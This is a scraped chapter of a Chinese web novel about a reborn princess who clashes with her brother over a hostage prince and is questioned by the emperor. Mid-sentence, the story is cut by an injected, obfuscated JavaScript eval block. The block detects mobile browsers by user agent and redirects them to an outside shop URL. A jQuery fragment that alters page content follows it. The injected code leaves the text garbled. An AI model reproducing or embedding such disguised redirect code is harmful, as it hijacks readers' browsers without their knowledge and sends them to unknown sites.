89. 重生(六)

作品:《重生后被太子强取豪夺了

    直至赵均顺利立储,赵清漓才刚过笄礼。


    这期间拂玉并未出宫去,而是继续留在韶音宫,自然也就没有春桃这号人接替,就连夏荷她们也是查无此人。


    最重要的是,也没有一个叫做周砚枕的状元郎出现在朝堂上。


    这一世几乎是一个翻天覆地的变化,每一步都无法预料。


    唯一能让赵清漓准确预见到的是赵端。


    如今的他虽和上一世一样封了淮王,也有着自己的封地,但他回京的次数却很频繁,而且回宫的时候一定要去找楚意的晦气,就像是命中有这道指令一般。


    赵端对楚意的仇视像是与生俱来的,就连他自己都不清楚为什么。他只知道自己打从第一次见着这个人就觉得十分厌恶,说厌恶都还不够,他每每看到那张脸都几乎恨得牙痒痒。


    旁人看了只以为这就是种天生的不对盘,但赵清漓勉强可以理解,楚意也可以。


    这事早些年就传到过永元帝耳朵里,为此,永元帝因为顾及自己的面子,还把赵端叫到跟前狠狠训斥一顿,这情况才算有所好转,至少明面上赵端确实收敛了。


    太子册立礼结束五日的时候,赵清漓又和她这位二哥在后宫打了个照面,两人心照不宣的扯了扯嘴角,互相露出一个极其敷衍又勉强的笑。


    赵端从小对赵清漓的态度就不算亲近,后来因为楚意的事,赵端觉得她是个胳膊肘朝外拐的,态度就越发不耐。


    他虽然不记得前尘往事,赵清漓却没忘他给自己使过多少绊子,关系么,自然也疏远。


    简单打完招呼,赵清漓点点头,带着拂玉扭头要走,赵端却叫住她,脸上挂着一丝挑衅:“皇妹这是要去哪儿?”


    赵清漓狐疑地瞥他一眼,念及礼数还是回他:“入夏了,母后睡眠又开始不好了,我去她那瞧瞧,皇兄可要一起?”


    “哦——”赵端似笑非笑地点了点下巴,语含深意道,“不是去找那位南靖质子?”


    ......又来了。


    赵清漓在心底用力翻了个白眼。


    应付赵端对时间,她只觉脸上的笑越发僵硬,语调也很生硬:“皇兄这是哪里的话,说得好像我出门只为找他似的?”


    “不是吗?”赵端脸上的笑意加深,反问了一句。


    这不就是故意找茬吗!


    “我说二哥,好不容易回来一次,非要去父皇那里讨顿骂才舒服么?”见状,赵清漓也不跟他演了,歪过脑袋,皮笑肉不笑道,“莫非这就是传说中的......贱骨头?”


    “你!”赵端一听她骂自己贱骨头,气得眼睛都瞪圆了,一下扬起手掌举过头顶,对着她作势,“赵清漓,真当我不敢打你是不是?”


    赵清漓不甘示弱地叉起腰:“随你呀!反正你打完一下,我保证父皇会替我还你十下!”


    永元帝对她有多宠爱,赵端从小就是看在眼里的。


    这份宠爱不仅其他两位公主比不上,连他大哥赵均也是比不上的。


    赵端不止一次纳闷,凭什么父皇永远对她偏听偏信,要什么给什么,就因为她是年纪最小的女儿吗?


    但不管因为什么,总之眼下赵清漓这副有恃无恐的野蛮劲儿把他气昏了头,扬在半空的手顿了顷刻,然后毫不犹豫地裹着劲风朝她袭来。


    “王爷不可!”一旁跟随的侍从吓了一跳,连忙去拦他的腰。


    拂玉也去抱住他的胳膊,两人硬生生把他拦下。


    毕竟不管是谁动手,任凭哪一方伤着一根头发丝儿,他们自己倒是不会有太大关系,但做下人的可就麻烦了!说不好就是掉脑袋的大事!


    拂玉闭着眼睛恳求:“王爷!公主年纪小不懂事,她不是有意顶撞您的!您高抬贵手啊!”


    赵端的掌风被拦住,腰上也被抱得死死的,根本动弹不得。


    眼见着自己这巴掌没落下去,他觉得丢了面子,气得狠狠咬牙。当目光落在抱着自己手臂的拂玉脸上,他心中一沉,不带半分犹豫,手背用力拂了下,刮过拂玉的眼睛和脸侧,总算是把这丫头甩开。


    看着罪魁祸首还颇为嫌弃地用袖摆擦着自己的手背,赵清漓当即恼了,把拂玉拉回自己这边,冲着赵端喊:“你敢打她?”


    赵端惊讶地停住动作,像是听到什么笑话一般:“一个奴婢而已,我为何不敢打?”


    “她是我的人!你打她,就是打我!”


    “你说对了,我就是要打你!”


    ......


    ......


    ——————


    露华殿。


    永元帝烦躁地按着额角,一抬眼皮,只见眼前跪着的俩人,一个满脸倔劲儿,一个不肯服输,顿时觉得呲目欲裂,头更疼了。


    今儿这是第几回了?


    自从入宫以来,这两个人隔三差五就要闹到他跟前来,没个消停时候。


    原以为赵端在王府待着许久不进宫一趟,自己耳根子也能清净一点,没想到他倒是总喜欢往宫里跑。


    一回来,不是跟锁香阁那位较劲,就是跟他妹妹闹到不可开交。


    真是不成气候!


    “说说吧,这次又是什么原因?”


    话刚出口,永元帝语中的无奈便如泄洪一般,就和他现在的表情一个样。


    赵端清了清嗓子,刚把头抬起来,才张嘴说了个“父”字,一旁的小丫头根本不顾及礼仪,叽叽喳喳地叫嚷起来。


    “父皇!二哥他打我!”


    什么?!


    “我什么时候打你了!”赵端一脸错愕,没说完的话如鲠在喉,表情上面写着一个大大的“冤”字。


    听说过颠倒黑白么?


    看他边上这位就知道了!


    赵端用力抿了下唇,拳头捏的咔咔作响,他用尽全身自控力暂时压下心底怒气,把头转过来对着永元帝:“父皇!儿臣没有!”


    永元帝当然知道他没有动手,毕竟赵清漓衣裳整洁,发髻丝毫不乱,脸上干干净净的连个红印都没有。


    但有没有受欺负......不好说。


    “要不是拂玉替我挡下,二哥那一巴掌已经落到儿臣身上了!”赵清漓鼓着嘴,越说越理直气壮,“不信父皇把拂玉叫来问问,也把二哥身边跟着的人叫来,我倒要问问他,二哥是不是说过要打我的话!”


    “你!你!你你你你你——”赵端指着她“你”了半天,也顾不得永元帝是不是在上头坐着,狠狠甩了下袖子,讥讽道,“皇后娘娘这般贤惠温婉的一个人,怎么会有你这么跋扈的女儿!”


    怎么越说越不合礼数了,还说到皇后身上去了。


    永元帝锁起眉头,语气有些不悦:“住口!那是你母后,你怎可如此放肆!”


    赵清漓冷哼一声:“论跋扈,清漓可不敢跟二哥相比,二哥的跋扈可是出了名的,宫里谁人不知,谁人不晓?”


    上一世她就是太好说话,凡事总喜欢忍着让着,结果换来兄长相欺,父皇心疑。


    如今她都把永元帝的心思拿捏清楚了,索性就把任性贯彻下去,反正在这种事上谁也不会真拿她怎么样。


    永元帝面色一直


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17259911|193936||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    阴着,好一会儿,他沉着嗓子开口:“澜予,你年岁几何了?”


    这问题十分突兀,赵端愣了一下,迟疑道:“......儿、儿臣已是既冠之年。”


    “那你妹妹今年多大?”永元帝冷笑了下,直起身子,脸上的威严更甚,“你比清漓年长,平日里不让着她也就罢了,还处处找麻烦!澜予,你从小跟着你大哥,耳濡目染的,他的习性你也该学习一二,怎么这么多年倒是越来越没长进!”


    永元帝平日里没少拿他和大哥作比较,母妃也常这么说他,赵端私心是很不喜欢听这话的。


    他急道:“父皇您怎么能这么说呢!明明是她先——”


    “住口!还不滚回你的王府去!”永元帝一摆手,不耐烦地打断,“你母妃自有你大哥照顾,你今后也少来给她添堵吧!”


    这明显要把偏心给进行到底,连听他多说几句都不愿了。


    赵端心里明白这道理,也气不过这样的做法,但他却没什么办法,毕竟坐在顶上的那位是他的父皇,是大历的一国之君,谁能比他说话有分量。


    “......是,儿臣知错了,儿臣会好好在王府反省......”


    “嗯。”永元帝半阖着眼,懒散应了一声。


    意料之中的结果。


    看着赵端如丧家犬一般颓然的肩头,轻轻抬了抬嘴角。等他先一步出去了,赵清漓也打算回去。


    眼睛半闭的永元帝似乎早就看出她的意图,她还没张嘴,膝盖刚刚挪动半寸,永元帝忽然冷声开口:“跪好。”


    赵清漓怔然,悄不作声又把膝盖移回半寸,面带疑惑地仰起脸:“父皇?”


    永元帝掀起眼皮,锐利的目光直直俯视向她,骤然道:“今日......又是为了那个楚意?”


    她心里突然咯噔一下。


    这个名字从任何人嘴里说出来,她的内心或许都不会有太大的波动,然而说出这个名字的人是永元帝。


    他从未如此正面的和她提过这个人,这种感觉仿佛一下回到昔日某些场景,让她顿时有了种心虚的感觉。


    不对啊!


    她心虚什么,她现在和他......又不是那种关系。


    赵清漓假装不明白:“父皇这话是什么意思?”


    “哼!”永元帝刮了她一眼,语气却有些无奈,“朕已经听说了,你还想瞒着朕?”


    说完,他顿了顿,朝赵清漓随意的一招手:“你过来。”


    赵清漓只能听话地上前,可怜巴巴地伏在他腿边,企图博得一点同情。


    “你喜欢那个质子?”


    “啊?”这次她是真的被惊到了,脸上表情明显的僵硬一瞬。


    永元帝却不买她的帐,轻轻拍了下她的脑袋,有些纵容道:“别装傻了,你三番五次的帮他,又隔三差五的去找他,派人给他送东西,你当朕都不知道?”


    也是,这里是皇宫,别说她做了些什么,就是宫里进来一只蚊子都会有专人飞速来向他回禀。


    好像没什么狡辩的必要了。


    赵清漓支支吾吾道:“女儿就是看他可怜,人家跋山涉水来咱们大历,咱们不以礼相待也就算了,还任人欺辱他,未免也太说不过去了......”


    永元帝又哼了一声:“若不是今天你们又闹到这里来,朕险些忘了问你。”


    赵清漓眨了眨眼:“问什么?”


    “朕记得你小时候生病,醒来就哭着闹着求朕不要对南靖出兵。”空气静默了一霎,永元帝紧紧盯着她,语调薄凉,“你和他认识?”